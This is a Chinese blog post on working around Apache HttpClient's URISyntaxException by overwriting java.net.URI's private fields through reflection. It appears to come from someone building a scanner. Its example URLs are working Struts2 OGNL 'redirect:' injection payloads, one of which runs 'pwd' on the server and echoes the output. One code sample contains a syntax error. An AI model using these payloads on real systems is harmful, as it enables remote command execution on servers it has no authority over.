解决httpclient抛出URISyntaxException异常

这两天在使用httpclient发送http请求的时候,发现url中一旦包含某些特殊字符就会报错。抛出URISyntaxException异常,比如struts漏洞的利用url:(大括号就不行)

redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),%23webroot%3d%23req.getSession().getServletContext().getRealPath(‘/‘),%23resp%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘).getWriter(),%23resp.print(‘At%201406220173%20Nessus%20found%20the%20path%20is%20‘),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}

看了下jdk的源码知道是URI类parser中checkChars方法对url进行校验时抛出的,而且URI是jdk自带的final类型的类,无法继承也不方便修改。后来经过测试有以下两种方式可以解决这个问题。

第一种方法(这个不是重点):

使用URL类的openConnection()方法。

public class Test {
public static void main(String[] args) throws Exception {
String urlStr = "http://www.xxx.com/?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%22pwd%22}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}";

URL url = new URL(urlStr);
URLConnection urlConn = url.openConnection();
BufferedReader br = new BufferedReader(new InputStreamReader(urlConn.getInputStream(), "UTF-8"));

StringBuilder sb = new StringBuilder();
String str;
while ((str = br.readLine()) != null)
{
sb.append(str));
}
br.close();
System.out.println(sb.toString().trim());

}

}

第二种方法(这个才是重点):

因为我必须要用httpclient,而httpclient都是用的URI类,所以第一种方法并不可行。第二种方法是先用正常的url创建URI的对象,然后通过反射,强行修改此对象的地址信息。

public static HttpRequest createRequestMethod(String url, String host, String strRequest, Boolean isAcceptCookie,
Boolean isAllowRedirect) throws UnsupportedEncodingException {

int i = strRequest.indexOf(" ");
String method = strRequest.substring(0, i);

if (method == null || method.trim().length() < 3) {
System.out.println("无效的HTTP方法");
}

HttpRequest httpRequest;
if (method.equalsIgnoreCase("GET")) {
httpRequest = new HttpGet();
} else if (method.equalsIgnoreCase("POST")) {
httpRequest = new HttpPost();
} else if (method.equalsIgnoreCase("DELETE")) {
httpRequest = new HttpDelete();
} else if (method.equalsIgnoreCase("PUT")) {
httpRequest = new HttpPut();
} else if (method.equalsIgnoreCase("HEAD")) {
httpRequest = new HttpHead();
} else if (method.equalsIgnoreCase("OPTIONS")) {
httpRequest = new HttpOptions();
} else if (method.equalsIgnoreCase("TRACE")) {
httpRequest = new HttpTrace();
} else {
// httpRequest = new BasicHttpRequest(method);
System.out.println("无效的HTTP方法");
return null;
}

// 判断是否为带entity的方法
String strHeader;
String strBody;

if (httpRequest instanceof HttpEntityEnclosingRequestBase) {
int j = strRequest.indexOf("\n\n");
strHeader = strRequest.substring(0, j);
strBody = strRequest.substring(j + 2);
StringEntity ent = new StringEntity(strBody);
((HttpEntityEnclosingRequestBase) httpRequest).setEntity(ent);
} else {
strHeader = strRequest;
}

String[] split = strHeader.split("\n");
String name = null;
String value = null;

// 获取第一行中的 http方法、uri、http版本
String firstLine[] = split[0].split(" ");
HttpRequestBase hrb = (HttpRequestBase) httpRequest;

// hrb.setProtocolVersion(version);
// httpRequest.

RequestConfig requestConfig;
if (isAcceptCookie) {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.DEFAULT).setRedirectsEnabled(isAllowRedirect)
.build();

} else {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.IGNORE_COOKIES)
.setRedirectsEnabled(isAllowRedirect).build();

}

hrb.setConfig(requestConfig);

for (int ii = 1; ii < split.length; ii++) {
if (split[ii].equals("")) {
continue;
}
int k;
if ((k = split[ii].indexOf(":")) < 0) {
// return null;
continue;
}
name = split[ii].substring(0, k).trim();
if (name.equals("Content-Length")) {
continue;
}
value = split[ii].substring(k + 1).trim();
httpRequest.addHeader(name, value);
}

// System.out.println("httputil " + httpRequest);

// 设置httprequest的uri
try {
String urii = firstLine[1];
URI uri = null;
try {
uri = URI.create(url + urii);
hrb.setURI(uri);
} catch (Exception e) {
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
uri = URI.create(url);    //创建正常的URI
Class<URI> clazz = URI.class;
Field path = clazz.getDeclaredField("path");
Field schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
Field string = clazz.getDeclaredField("string");

path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);

path.set(uri, urii);
schemeSpecificPart.set(uri, "//" + host + urii);
string.set(uri, url + urii);

hrb.setURI(uri);
System.out.println(hrb.getURI());
}
} catch (Exception e) {
e.printStackTrace();
}
return hrb;

}

另外还需要修改org.apache.http.client.utils.URIBuilder类的build方法

public URI build() throws URISyntaxException {
// return new URI(buildString());

String str = buildString();
URI u = null;
try{
u = new URI(str);
}catch(Exception e){
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
u = URI.create("/");
Class<URI> clazz = URI.class;
Field path = null;
Field schemeSpecificPart = null;
Field string = null;
try {
path = clazz.getDeclaredField("path");
schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
string = clazz.getDeclaredField("string");

} catch (NoSuchFieldException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
} catch (SecurityException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}

path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);

try {
path.set(u, str);
schemeSpecificPart.set(u, str);
string.set(u, str);
} catch (IllegalArgumentException | IllegalAccessException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}

}
return u;
}

时间: 2024-10-27 07:09:40

解决httpclient抛出URISyntaxException异常的相关文章

hadoop学习;hdfs操作;运行抛出权限异常: Permission denied;api查看源码方法;源码不停的向里循环;抽象类通过debug查找源码

eclipse快捷键alt+shift+m将选中的代码封装成方法:alt+shift+l将选中的代码添加对应类型放回参数 当调用一个陌生方法时,进入源码不停的向里循环,当找不到return类似方法的时候,可以看到最原始的方法 package com.kane.hdfs; import java.io.InputStream; import java.net.URL; import org.apache.hadoop.fs.FsUrlStreamHandlerFactory; import org

druid抛出的异常------javax.management.InstanceAlreadyExistsException引发的一系列探索

最近项目中有个定时任务的需求,定时检查mysql数据与etcd数据的一致性,具体实现细节就不说了,今天要说的就是实现过程中遇到了druid抛出的异常,以及解决的过程 异常 异常详细信息 五月 05, 2017 4:16:00 下午 com.alibaba.druid.proxy.DruidDriver warn 警告: register druid-driver mbean error javax.management.InstanceAlreadyExistsException: com.al

捕获Java线程池执行任务抛出的异常

Java中线程执行的任务接口java.lang.Runnable 要求不抛出Checked异常, public interface Runnable { public abstract void run();} 那么如果 run() 方法中抛出了RuntimeException,将会怎么处理了? 通常java.lang.Thread对象运行设置一个默认的异常处理方法: java.lang.Thread.setDefaultUncaughtExceptionHandler(UncaughtExce

java修改集合抛出ConcurrentModificationException异常

测试代码为: public static void main(String[] args) { List<String> strList = new ArrayList<String>(); strList.add("1"); strList.add("2"); strList.add("3"); strList.add("4"); for(String str:strList){ if(str.equ

Spring boot 前后台分离项目 怎么处理spring security 抛出的异常

最近在开发一个项目 前后台分离的 使用 spring boot + spring security + jwt 实现用户登录权限控制等操作.但是 在用户登录的时候,怎么处理spring  security  抛出的异常呢?使用了@RestControllerAdvice 和@ExceptionHandler 不能处理Spring Security抛出的异常,如 UsernameNotFoundException等,我想要友好的给前端返回提示信息  如,用户名不存在之类的. 贴上我的代码: JWT

try ,finally都抛出异常如何处理.如果try中抛出了异常,在控制权转移到调用栈上一层代码之前, finally 语句块也会执行,如果finally抛出异常,try语句快抛出的那个异常就

package com.github.jdk7; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * try ,finally都抛出异常如何处理.如果try中抛出了异常,在控制权转移到调用栈上一层代码之前, * finally 语句块也会执行,如果finally抛出异常,try语句快抛出的那个异常就丢失了. * * @author doctor * * @since 2014年

java 检查抛出的异常是否是要捕获的检查性异常或运行时异常或错误

/** * Return whether the given throwable is a checked exception: * that is, neither a RuntimeException nor an Error. * @param ex the throwable to check * @return whether the throwable is a checked exception * @see java.lang.Exception * @see java.lang

有时候在操作Session时,系统会抛出如下异常:java.lang.IllegalStateException: Cannot create a session after the response has been committed

有时候在操作Session时,系统会抛出如下异常 java.lang.IllegalStateException: Cannot create a session after the response has been committed 原因1: Session 的创建语句: HttpSession seesion = request.getSession(); 之前有Response的输出语句. 应该把HttpSession seesion = request.getSession(); 放

finally中使用return会吃掉catch中抛出的异常

今天学习大神的文章:深入理解java异常处理机制 学到一个有意思的知识点.如果在finally中使用return会吃掉catch中抛出的异常. 看例子: [java] view plaincopy public class TestException { public TestException() { } boolean testEx() throws Exception { boolean ret = true; try { ret = testEx1(); } catch (Excepti